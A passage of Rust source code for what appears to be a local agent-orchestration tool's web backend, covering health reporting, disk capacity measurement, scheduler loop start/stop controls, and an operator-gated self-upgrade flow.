2663    Trigger,
2664}
2665
2666fn auto_upgrade_decision(
2667    cfg: &Update,
2668    disabled: bool,
2669    in_motion: bool,
2670    busy: bool,
2671    tag: &str,
2672    failed: Option<&str>,
2673) -> AutoUpgradeDecision {
2674    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2675        AutoUpgradeDecision::Skip("disabled")
2676    } else if in_motion {
2677        AutoUpgradeDecision::Skip("upgrade already in progress")
2678    } else if failed == Some(tag) {
2679        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2680    } else if busy {
2681        AutoUpgradeDecision::Wait
2682    } else {
2683        AutoUpgradeDecision::Trigger
2684    }
2685}
2686
2687/// Refresh the shared cache and optionally request the same handover as the UI.
2688async fn run_update_recheck(ui: Arc<Ui>) {
2689    loop {
2690        let cfg = match Config::discover(&ui.repo, None) {
2691            Ok((cfg, _)) => cfg,
2692            Err(e) => {
2693                updater::log_warn(
2694                    &ui.home,
2695                    &format!("auto-upgrade: config unavailable: {e:#}"),
2696                );
2697                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2698                continue;
2699            }
2700        };
2701        if should_spawn_recheck(&cfg.update)
2702            && let Some(checker) = updater::Checker::new(&cfg.update)
2703        {
2704            let progress = updater::read_progress(&ui.home);
2705            let mut latest = checker.cached_update();
2706            if update_recheck_due(&checker, progress.as_ref()) {
2707                match checker.newer_release().await {
2708                    Ok(found) => latest = found,
2709                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2710                }
2711            }
2712            if cfg.update.auto_restart
2713                && let Some(latest) = latest
2714            {
2715                let response =
2716                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2717                updater::log_step(
2718                    &ui.home,
2719                    &format!("auto-upgrade: request status {}", response.status()),
2720                );
2721            }
2722        }
2723        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2724    }
2725}
2726
2727/// [`UpdateView`] from the same throttled, disk-only state
2728/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2729/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2730/// no cached state at all, which is correct: an operator who turned checking
2731/// off gets no opinion, not a stale one.
2732fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2733    let default;
2734    let cfg = match cfg {
2735        Some(cfg) => cfg,
2736        None => {
2737            default = Config::default();
2738            &default
2739        }
2740    };
2741    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2742    match latest {
2743        Some(latest) => UpdateView {
2744            available: true,
2745            to: Some(latest.tag_name),
2746        },
2747        None => UpdateView {
2748            available: false,
2749            to: None,
2750        },
2751    }
2752}
2753
2754/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2755/// from the parked run's own state when the stage is
2756/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2757/// already on disk in `run.json`, so this reads them fresh rather than
2758/// trusting whatever was true the moment the park was requested.
2759fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2760    let now = Timestamp::now();
2761    let lease = updater::read_lease(&ui.home);
2762    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2763    let run_id = alive
2764        .and_then(|l| l.parked_run.as_deref())
2765        .or(progress.parked_run.as_deref());
2766    let parking = progress.stage == updater::Stage::Parking;
2767    let waited = alive.map_or_else(String::new, |l| {
2768        let secs = updater::waited_secs(l, now);
2769        format!(" (waited {} min so far)", secs / 60)
2770    });
2771    let run_text = run_id
2772        .filter(|_| parking)
2773        .map(|id| match read_run(&ui.runs, id).ok() {
2774            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2775            None => format!("run {id} is finishing"),
2776        });
2777    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2778        .filter(|t| parking && !t.is_empty())
2779        .map(|t| format!("{t} finishing"));
2780    let waiting_on = match (run_text, talks_text) {
2781        (None, None) => None,
2782        (run, talks) => {
2783            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2784            Some(format!(
2785                "{} before the address is handed over{waited}",
2786                parts.join(" and ")
2787            ))
2788        }
2789    };
2790    let detail = progress
2791        .detail
2792        .clone()
2793        .or_else(|| updater::read_note(&ui.home, &progress));
2794    let stalled = updater::stall(&progress, lease.as_ref(), now);
2795    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2796    UpgradeProgressView {
2797        trigger: progress.trigger,
2798        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2799        stuck_kind: stalled.map(|s| s.kind),
2800        handover_alive: alive.is_some(),
2801        stage: progress.stage,
2802        from: progress.from,
2803        to: progress.to,
2804        waiting_on,
2805        started_at: progress.started_at,
2806        updated_at: progress.updated_at,
2807        detail,
2808    }
2809}
2810
2811/// Last successful capacity observations, independent of admission/cleanup.
2812/// Cold or unavailable directory measurements are null, never invented zeros.
2813#[derive(Debug, Serialize)]
2814struct DiskView {
2815    /// Free bytes on the volume holding the runs, when measurable.
2816    #[serde(skip_serializing_if = "Option::is_none")]
2817    free_bytes: Option<u64>,
2818    /// Everything the runs directory occupies, when fully measurable.
2819    runs_bytes: Option<u64>,
2820    /// Everything the runs' worktrees occupy.
2821    worktrees_bytes: Option<u64>,
2822    /// The shared build cache's size, when the config names one.
2823    #[serde(skip_serializing_if = "Option::is_none")]
2824    cache_bytes: Option<u64>,
2825    /// Last bounded cleanup report, including retention and failure reasons.
2826    retention: Option<crate::retention::Report>,
2827}
2828
2829/// Capacity walks have their own demand-driven single flight, not the revision
2830/// worker: a large build cache must never delay revisions or a health response.
2831const DISK_REFRESH: Duration = Duration::from_secs(60);
2832
2833#[derive(Debug, Clone, PartialEq, Eq)]
2834struct DiskScope {
2835    runs: PathBuf,
2836    worktrees: PathBuf,
2837    cache: Option<PathBuf>,
2838}
2839
2840impl DiskScope {
2841    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2842        Self {
2843            runs: ui.runs.clone(),
2844            worktrees: ui.worktrees_root.clone(),
2845            cache: cfg.and_then(Config::cache_dir),
2846        }
2847    }
2848}
2849
2850#[derive(Debug, Clone, Copy, Default)]
2851struct DiskCapacity {
2852    free_bytes: Option<u64>,
2853    runs_bytes: Option<u64>,
2854    worktrees_bytes: Option<u64>,
2855    cache_bytes: Option<u64>,
2856}
2857
2858impl DiskCapacity {
2859    fn measure(scope: &DiskScope) -> Self {
2860        Self {
2861            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2862            runs_bytes: disk_capacity_size(&scope.runs),
2863            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2864            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2865        }
2866    }
2867
2868    fn retain_successes(&mut self, next: Self) {
2869        self.free_bytes = next.free_bytes.or(self.free_bytes);
2870        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2871        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2872        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2873    }
2874}
2875
2876/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2877/// best-effort total, an incomplete observation must not look like an empty tree.
2878fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2879    let metadata = match std::fs::symlink_metadata(path) {
2880        Ok(metadata) => metadata,
2881        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2882        Err(_) => return None,
2883    };
2884    if !metadata.is_dir() {
2885        return Some(if metadata.is_file() {
2886            metadata.len()
2887        } else {
2888            0
2889        });
2890    }
2891    let mut total = 0;
2892    let mut stack = vec![path.to_owned()];
2893    while let Some(dir) = stack.pop() {
2894        for entry in std::fs::read_dir(dir).ok()? {
2895            let entry = entry.ok()?;
2896            let metadata = entry.metadata().ok()?;
2897            if metadata.is_dir() {
2898                stack.push(entry.path());
2899            } else if metadata.is_file() {
2900                total += metadata.len();
2901            }
2902        }
2903    }
2904    Some(total)
2905}
2906
2907#[derive(Debug, Default)]
2908struct DiskObservation {
2909    scope: Option<DiskScope>,
2910    capacity: DiskCapacity,
2911    in_flight: bool,
2912    finished: Option<std::time::Instant>,
2913}
2914
2915impl DiskObservation {
2916    fn observe(
2917        state: &Arc<Mutex<Self>>,
2918        scope: DiskScope,
2919        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2920    ) -> DiskCapacity {
2921        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2922        if observation.scope.as_ref() != Some(&scope) {
2923            observation.scope = Some(scope.clone());
2924            observation.capacity = DiskCapacity::default();
2925            observation.finished = None;
2926        }
2927        let capacity = observation.capacity;
2928        if observation.in_flight
2929            || observation
2930                .finished
2931                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2932        {
2933            return capacity;
2934        }
2935        observation.in_flight = true;
2936        drop(observation);
2937
2938        let refresh = DiskRefresh {
2939            state: Arc::clone(state),
2940            scope,
2941        };
2942        tokio::task::spawn_blocking(move || {
2943            let next = measure(&refresh.scope);
2944            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2945            if observation.scope.as_ref() == Some(&refresh.scope) {
2946                observation.capacity.retain_successes(next);
2947            }
2948            drop(observation);
2949            // The guard also clears the flight on panic or a cancelled,
2950            // not-yet-started blocking job. No failed scan can wedge health.
2951            drop(refresh);
2952        });
2953        capacity
2954    }
2955}
2956
2957struct DiskRefresh {
2958    state: Arc<Mutex<DiskObservation>>,
2959    scope: DiskScope,
2960}
2961
2962impl Drop for DiskRefresh {
2963    fn drop(&mut self) {
2964        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2965        observation.in_flight = false;
2966        if observation.scope.as_ref() == Some(&self.scope) {
2967            // Wait a full period after completion, including failed scans.
2968            observation.finished = Some(std::time::Instant::now());
2969        }
2970    }
2971}
2972
2973impl DiskView {
2974    /// Return immediately, retaining known capacity while one worker refreshes.
2975    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2976        let capacity = DiskObservation::observe(
2977            &ui.monitor.disk,
2978            DiskScope::of(ui, cfg),
2979            DiskCapacity::measure,
2980        );
2981        Self::with_capacity(ui, capacity)
2982    }
2983
2984    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2985        Self {
2986            free_bytes: crate::disk::free_bytes(&ui.runs)
2987                .ok()
2988                .or(capacity.free_bytes),
2989            runs_bytes: capacity.runs_bytes,
2990            worktrees_bytes: capacity.worktrees_bytes,
2991            cache_bytes: capacity.cache_bytes,
2992            retention: ui
2993                .runs
2994                .parent()
2995                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2996                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2997        }
2998    }
2999}
3000
3001/// The daemon's state as the UI presents it.
3002#[derive(Debug, Serialize)]
3003struct DaemonView {
3004    running: bool,
3005    idle: Option<bool>,
3006    pid: Option<u32>,
3007    /// Every task and run currently in flight. Empty when idle; more than
3008    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
3009    /// run going at once.
3010    current: Vec<daemon::Current>,
3011    completed: Option<u64>,
3012    stale_for_secs: Option<i64>,
3013}
3014
3015impl DaemonView {
3016    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3017    /// not this UI's — a crashed daemon must not look alive here while
3018    /// `doctor` calls it dead.
3019    fn of(status: Option<daemon::Reading>) -> Self {
3020        let Some(status) = status else {
3021            return Self {
3022                running: false,
3023                idle: None,
3024                pid: None,
3025                current: Vec::new(),
3026                completed: None,
3027                stale_for_secs: None,
3028            };
3029        };
3030        let now = Timestamp::now();
3031        let age = status.age_secs(now);
3032        Self {
3033            running: status.running(now),
3034            idle: Some(status.idle),
3035            pid: status.pid,
3036            current: status.current,
3037            completed: Some(status.completed),
3038            stale_for_secs: age,
3039        }
3040    }
3041}
3042
3043// Discover display configuration off the request path. Capacity measurement
3044// retains its separate single flight and scope/failure handling below.
3045fn refresh_health_config(ui: &Arc<Ui>) {
3046    let mut cache = ui
3047        .monitor
3048        .disk_cache
3049        .lock()
3050        .unwrap_or_else(PoisonError::into_inner);
3051    if cache.loading
3052        || cache
3053            .measured
3054            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3055    {
3056        return;
3057    }
3058    cache.loading = true;
3059    let weak = Arc::downgrade(ui);
3060    std::thread::spawn(move || {
3061        let Some(ui) = weak.upgrade() else { return };
3062        let cfg = deputy_config(&ui.repo);
3063        let update = cached_update_view(cfg.as_ref());
3064        let mut cache = ui
3065            .monitor
3066            .disk_cache
3067            .lock()
3068            .unwrap_or_else(PoisonError::into_inner);
3069        cache.config = cfg;
3070        cache.update = Some(update);
3071        cache.measured = Some(std::time::Instant::now());
3072        cache.loading = false;
3073    });
3074}
3075
3076fn health_counts(
3077    ui: &Ui,
3078    fallback_questions_rev: u64,
3079) -> ApiResult<(usize, usize, usize, u64, usize)> {
3080    let mut index = ui
3081        .monitor
3082        .health_index
3083        .lock()
3084        .unwrap_or_else(PoisonError::into_inner);
3085    let ids = run_ids(&ui.runs);
3086    let seen: HashSet<_> = ids.iter().cloned().collect();
3087    index.runs.retain(|id, _| seen.contains(id));
3088    let mut unreadable = 0;
3089    for id in ids {
3090        // Recheck identity on every request, including atomic replacements
3091        // with preserved length/mtime. A failed stat is never cached as good.
3092        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3093        let bad = match identity {
3094            Ok(identity) => {
3095                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3096                    let bad = read_run(&ui.runs, &id).is_err();
3097                    index.runs.insert(id.clone(), (identity, bad));
3098                    #[cfg(test)]
3099                    {
3100                        index.run_parses += 1;
3101                    }
3102                }
3103                index.runs[&id].1
3104            }
3105            Err(_) => true,
3106        };
3107        unreadable += usize::from(bad);
3108    }
3109    let questions_rev = try_stamps(ui.questions.root(), false, true)
3110        .map(|stamps| stamps_revision(&stamps))
3111        .unwrap_or(fallback_questions_rev);
3112    if index.questions.as_ref().is_none_or(|counts| {
3113        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3114    }) {
3115        let questions = ui.questions.list();
3116        index.questions = Some(QuestionCounts {
3117            revision: questions_rev,
3118            measured: std::time::Instant::now(),
3119            open: questions.iter().filter(|q| q.status.open()).count(),
3120            owner: questions
3121                .iter()
3122                .filter(|q| {
3123                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3124                })
3125                .count(),
3126        });
3127    }
3128    let notifications_rev =
3129        stamps_revision(&notice_and_decision_stamps(ui).map_err(anyhow::Error::from)?);
3130    if index
3131        .notices
3132        .is_none_or(|(rev, _)| rev != notifications_rev)
3133    {
3134        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3135    }
3136    let questions = index.questions.as_ref().unwrap();
3137    Ok((
3138        unreadable,
3139        questions.open,
3140        questions.owner,
3141        notifications_rev,
3142        index.notices.unwrap().1,
3143    ))
3144}
3145
3146async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3147    let revisions = ui.monitor.revisions(&ui).await?;
3148    refresh_health_config(&ui);
3149    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3150        // One read of the status file for the two fields that describe it, so
3151        // `daemon` and `loop` in the same answer cannot disagree about who is
3152        // running the loop.
3153        let reading = daemon::read_status(&ui.home);
3154        // Read on its own line, not inside the literal below: the loop's lock
3155        // is not reentrant, and a guard taken as a temporary there would still
3156        // be held when `loop_view` took it again.
3157        let loop_rev = ui.lock_loop().rev;
3158        let (
3159            runs_unreadable,
3160            questions_open,
3161            questions_needs_owner,
3162            notifications_rev,
3163            notifications_unread,
3164        ) = health_counts(&ui, revisions.2)?;
3165        let ((cfg, config_observed, sizes, measured), update) = {
3166            let cache = ui
3167                .monitor
3168                .disk_cache
3169                .lock()
3170                .unwrap_or_else(PoisonError::into_inner);
3171            (
3172                (
3173                    cache.config.clone(),
3174                    cache.measured.is_some(),
3175                    cache.disk.clone(),
3176                    cache.measured,
3177                ),
3178                cache.update.clone().unwrap_or(UpdateView {
3179                    available: false,
3180                    to: None,
3181                }),
3182            )
3183        };
3184        // Retain the base's capacity observation independently of config
3185        // refreshes. A cold config read may still be pending; an existing
3186        // capacity flight must remain visible to concurrent health requests.
3187        let prior_capacity = {
3188            let mut observation = ui
3189                .monitor
3190                .disk
3191                .lock()
3192                .unwrap_or_else(PoisonError::into_inner);
3193            // Adopt a completed size snapshot only before the scoped capacity
3194            // observer has started. Later scope changes remain its authority.
3195            if observation.scope.is_none()
3196                && let Some(sizes) = sizes
3197            {
3198                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3199                observation.capacity = DiskCapacity {
3200                    runs_bytes: Some(sizes.runs),
3201                    worktrees_bytes: Some(sizes.worktrees),
3202                    cache_bytes: sizes.cache,
3203                    free_bytes: None,
3204                };
3205                observation.finished = measured;
3206            }
3207            observation.scope.as_ref().map(|_| observation.capacity)
3208        };
3209        let disk = if config_observed {
3210            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3211        } else {
3212            serde_json::to_value(DiskView::with_capacity(
3213                &ui,
3214                prior_capacity.unwrap_or_default(),
3215            ))
3216            .ok()
3217        };
3218        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3219        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3220        #[cfg(not(test))]
3221        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3222        #[cfg(test)]
3223        let looping = ui.loop_view(reading.clone());
3224        Ok(Json(HealthView {
3225            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3226            version: env!("CARGO_PKG_VERSION"),
3227            home: ui.home.display().to_string(),
3228            queue_rev: revisions.0,
3229            runs_rev: revisions.1,
3230            questions_rev: revisions.2,
3231            talks_rev: revisions.3,
3232            notifications_rev,
3233            notifications_unread,
3234            loop_rev,
3235            runs_unreadable,
3236            questions_open,
3237            questions_needs_owner,
3238            daemon: DaemonView::of(reading.clone()),
3239            looping,
3240            disk,
3241            update,
3242            upgrade,
3243            upgrade_request_error: ui
3244                .upgrade_request_error
3245                .lock()
3246                .unwrap_or_else(PoisonError::into_inner)
3247                .clone(),
3248        }))
3249    })
3250    .await
3251}
3252
3253/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3254#[derive(Debug, Serialize)]
3255struct LoopView {
3256    /// A scheduler is running, independently of this web process.
3257    running: bool,
3258    /// The scheduler has been asked to stop scheduling new work.
3259    stopping: bool,
3260    /// An explicit operator park was requested, independently from updates.
3261    parking: bool,
3262    /// This scheduler supports durable controls from any web generation.
3263    owned: bool,
3264    /// Repository the loop uses for tasks that name none - what it was
3265    /// started with while it runs, and what a start would use before that.
3266    repo: String,
3267    /// Merge mode override in force, or `null` when each repository's own
3268    /// config decides.
3269    merge: Option<String>,
3270    /// Why the last loop in this process ended, when it ended badly.
3271    ///
3272    /// The only place a crashed loop is visible to someone holding a phone.
3273    /// It is logged at error level as well, but a terminal nobody kept open
3274    /// is not a report, and a loop that died at 3am must not read as merely
3275    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3276    /// answers the same question about the same kind of failure.
3277    last_error: Option<String>,
3278    /// The status file, judged the same way `/api/health` judges it: this is
3279    /// what says whether a loop is alive in some *other* process.
3280    daemon: DaemonView,
3281}
3282
3283/// A legacy embedded scheduler that this web process cannot control.
3284///
3285/// Worker-protocol schedulers use durable controls regardless of which process
3286/// started them. Older schedulers are identified by their foreign heartbeat.
3287#[derive(Debug, Clone, Copy)]
3288struct Foreign {
3289    /// The pid the other process published, when it published one.
3290    pid: Option<u32>,
3291}
3292
3293impl Foreign {
3294    /// Another process's live loop, or `None` when this process is free to
3295    /// run one.
3296    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3297        // A fresh heartbeat with no pid in it is still evidence of a live
3298        // daemon. "Some other process" is the honest answer, and refusing
3299        // to start beside it is the safe one.
3300        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3301            return None;
3302        }
3303        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3304    }
3305
3306    /// How a conflict names it. The pid is the whole point of the message: it
3307    /// is what the operator needs to find the terminal that owns the loop.
3308    fn who(&self) -> String {
3309        match self.pid {
3310            Some(pid) => format!("another magi process (pid {pid})"),
3311            None => "another magi process".to_owned(),
3312        }
3313    }
3314}
3315
3316/// How a loop is started, as a future this module can hold onto.
3317///
3318/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3319/// trait object or a hand-written `Debug` impl for the sake of one seam.
3320type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3321
3322#[cfg(test)]
3323type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3324
3325/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3326#[cfg(test)]
3327fn launch_daemon(
3328    opts: daemon::Opts,
3329    stop: daemon::Stop,
3330) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3331    Box::pin(daemon::serve_until(opts, stop))
3332}
3333
3334/// Local web-control revisions and errors, plus the unit-test launch seam.
3335#[derive(Debug, Default)]
3336struct LoopState {
3337    /// The loop, while there is one.
3338    #[cfg(test)]
3339    live: Option<Live>,
3340    /// Local control changes streamed as `loop_rev`; actual scheduler and
3341    /// execution ownership comes from durable status and OS-held worker leases.
3342    rev: u64,
3343    /// Why the last loop ended, when it ended badly. See
3344    /// [`LoopView::last_error`].
3345    last_error: Option<String>,
3346}
3347
3348/// A loop in flight.
3349#[cfg(test)]
3350#[derive(Debug)]
3351struct Live {
3352    /// The cooperative stop, shared with the loop task.
3353    stop: daemon::Stop,
3354    /// The task itself, kept only to answer whether it is still there: a loop
3355    /// that panicked never records its own end, and without this the view
3356    /// would go on reporting a loop that no longer exists - the one lie that
3357    /// would leave the operator with no button to press.
3358    handle: tokio::task::JoinHandle<()>,
3359    /// What the loop was started with, so the view reports the repository and
3360    /// merge mode its runs will actually use rather than what an edit to the
3361    /// config since would give.
3362    opts: daemon::Opts,
3363}
3364
3365#[cfg(test)]
3366impl Live {
3367    /// Is the task still there? See [`Live::handle`].
3368    fn alive(&self) -> bool {
3369        !self.handle.is_finished()
3370    }
3371}
3372
3373/// Take the loop lock, recovering from a poisoned one.
3374///
3375/// What this mutex holds is a stop flag, a task handle and two counters, none
3376/// of which a panic elsewhere can leave in a state worth refusing to read.
3377/// Propagating the poison instead would mean an operator who can see the loop
3378/// running and can no longer stop it from the only surface they have.
3379fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3380    state.lock().unwrap_or_else(PoisonError::into_inner)
3381}
3382
3383/// `GET /api/loop`.
3384async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3385    blocking(move || {
3386        let reading = daemon::read_status(&ui.home);
3387        #[cfg(not(test))]
3388        let view = ui.try_loop_view(reading)?;
3389        #[cfg(test)]
3390        let view = ui.loop_view(reading);
3391        Ok(Json(view))
3392    })
3393    .await
3394}
3395
3396/// The body of `POST /api/loop`.
3397///
3398/// One required field and nothing else: no `default` and no unknown fields,
3399/// so a body that fails to say which way the switch was flipped is a 400
3400/// rather than a tap that quietly does the opposite of what was pressed.
3401#[derive(Debug, Deserialize)]
3402#[serde(deny_unknown_fields)]
3403struct LoopCommand {
3404    running: bool,
3405    /// Stop the run in flight at its next node boundary rather than letting it
3406    /// finish.
3407    ///
3408    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3409    /// competition is tens of minutes of paid work and finishing it is
3410    /// normally the cheapest thing to do. A park is for the operator who
3411    /// wants the process gone now - to replace the binary, most of all - and
3412    /// it costs at most the node in progress because every node writes its
3413    /// state before the next one starts.
3414    #[serde(default)]
3415    park: bool,
3416}
3417
3418/// Start or control the detached scheduler without waiting for execution
3419/// workers. Only an explicit park asks workers to stop at a node boundary.
3420async fn loop_post(
3421    State(ui): State<Arc<Ui>>,
3422    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3423) -> ApiResult<Json<LoopView>> {
3424    // Taken as a `Result` so a malformed body is a 400 like every other route
3425    // here, rather than axum's default 422 that the UI has no branch for.
3426    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3427    #[cfg(not(test))]
3428    {
3429        if body.running {
3430            ui.start_detached_loop().await?;
3431        } else {
3432            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3433            ui.stop_loop(foreign, body.park)?;
3434        }
3435        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3436    }
3437    #[cfg(test)]
3438    {
3439        blocking(move || {
3440            let reading = daemon::read_status(&ui.home);
3441            let foreign = Foreign::of(reading.as_ref());
3442            if body.running {
3443                ui.start_loop(foreign)?;
3444            } else {
3445                ui.stop_loop(foreign, body.park)?;
3446            }
3447            Ok(Json(ui.loop_view(reading)))
3448        })
3449        .await
3450    }
3451}
3452
3453/// What `POST /api/upgrade` set in motion.
3454#[derive(Debug, Serialize)]
3455struct UpgradeView {
3456    /// The version this process is running.
3457    from: String,
3458    /// The release it is replacing itself with, when there is one.
3459    to: Option<String>,
3460    /// What the operator should expect to happen next.
3461    detail: String,
3462}
3463
3464/// The stage of an upgrade that is still moving, if the record says so.
3465/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3466fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3467    progress.filter(|p| !p.stage.terminal())
3468}
3469
3470/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3471/// Unknown diagnostics retain their complete message without guessing a delay.
3472fn upgrade_retry_after(message: &str) -> Option<u64> {
3473    if !message.contains("GitHub") || !message.contains("rate limit") {
3474        return None;
3475    }
3476    if message.contains("retry now") {
3477        return Some(0);
3478    }
3479    let duration = message
3480        .split_once("resets in ")
3481        .or_else(|| message.split_once("retry after "))?
3482        .1
3483        .split_once(')')?
3484        .0;
3485    let mut rest = duration.trim();
3486    if rest.is_empty() {
3487        return None;
3488    }
3489    let mut total = 0u64;
3490    while !rest.is_empty() {
3491        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3492        let amount: u64 = rest[..n].parse().ok()?;
3493        let scale = match rest[n..].chars().next()? {
3494            's' => 1,
3495            'm' => 60,
3496            'h' => 3600,
3497            'd' => 86400,
3498            _ => return None,
3499        };
3500        total = total.checked_add(amount.checked_mul(scale)?)?;
3501        rest = rest[n + 1..].trim_start();
3502    }
3503    Some(total)
3504}
3505
3506#[derive(Debug, Clone, Serialize)]
3507struct UpgradeRequestFailure {
3508    occurred_at: String,
3509    error: String,
3510    retry_after_secs: Option<u64>,
3511    /// Unix seconds; independent of the phone's polling cadence.
3512    retry_at: Option<u64>,
3513}
3514
3515impl UpgradeRequestFailure {
3516    fn new(error: String) -> Self {
3517        let retry_after_secs = upgrade_retry_after(&error);
3518        let now = std::time::SystemTime::now()
3519            .duration_since(std::time::UNIX_EPOCH)
3520            .unwrap_or_default()
3521            .as_secs();
3522        Self {
3523            occurred_at: jiff::Timestamp::now().to_string(),
3524            error,
3525            retry_after_secs,
3526            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3527        }
3528    }
3529}
3530
3531/// `POST /api/upgrade` - replace this binary with the newest release and come
3532/// back on it.
3533///
3534/// Replace the installed binary, restart the detached scheduler, release the
3535/// web listener, then start the successor. Active task and conversation
3536/// workers retain their immutable executable and continue without parking.
3537///
3538/// A legacy embedded scheduler is the only incompatible owner: its work
3539/// must finish or park before the first migration replaces its process.
3540///
3541/// Answers **202**: the reply has to reach the phone while this process can
3542/// still send one, and the phone learns the deck is back by reconnecting.
3543async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3544    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3545}
3546
3547async fn begin_upgrade(
3548    ui: &Arc<Ui>,
3549    trigger: updater::UpgradeTrigger,
3550    latest: Option<kaishin::LatestRelease>,
3551) -> Response {
3552    let reading = daemon::read_status(&ui.home);
3553    if let Some(other) = Foreign::of(reading.as_ref()) {
3554        return ApiError::conflict(format!(
3555            "{} is a legacy scheduler without detached restart support. \
3556             Finish or explicitly park its work in the existing UI before \
3557             this first migration; independent schedulers do not need this.",
3558            other.who()
3559        ))
3560        .into_response();
3561    }
3562
3563    // A second upgrade while one is moving would replace the binary and
3564    // signal the handover again after `serve` already consumed the first
3565    // signal, leaving the process in `replaced` forever. Try-lock rather than
3566    // wait: a phone connection must not hang behind a GitHub round trip.
3567    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3568        return ApiError::conflict("another request is already preparing an upgrade")
3569            .into_response();
3570    };
3571    // Hold the same gate through recording/clearing the request outcome, so
3572    // an older response cannot overwrite a retry's result.
3573    if trigger == updater::UpgradeTrigger::Auto {
3574        let cfg = match Config::discover(&ui.repo, None) {
3575            Ok((cfg, _)) => cfg,
3576            Err(e) => {
3577                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3578            }
3579        };
3580        let Some(latest) = latest else {
3581            return StatusCode::NO_CONTENT.into_response();
3582        };
3583        let busy = ui.auto_upgrade_busy();
3584        let failed = ui
3585            .auto_failed_tag
3586            .lock()
3587            .unwrap_or_else(PoisonError::into_inner)
3588            .clone();
3589        let decision = auto_upgrade_decision(
3590            &cfg.update,
3591            updater::disabled_by_env(),
3592            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3593                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3594            busy,
3595            &latest.tag_name,
3596            failed.as_deref(),
3597        );
3598        if decision != AutoUpgradeDecision::Trigger {
3599            let reason = match decision {
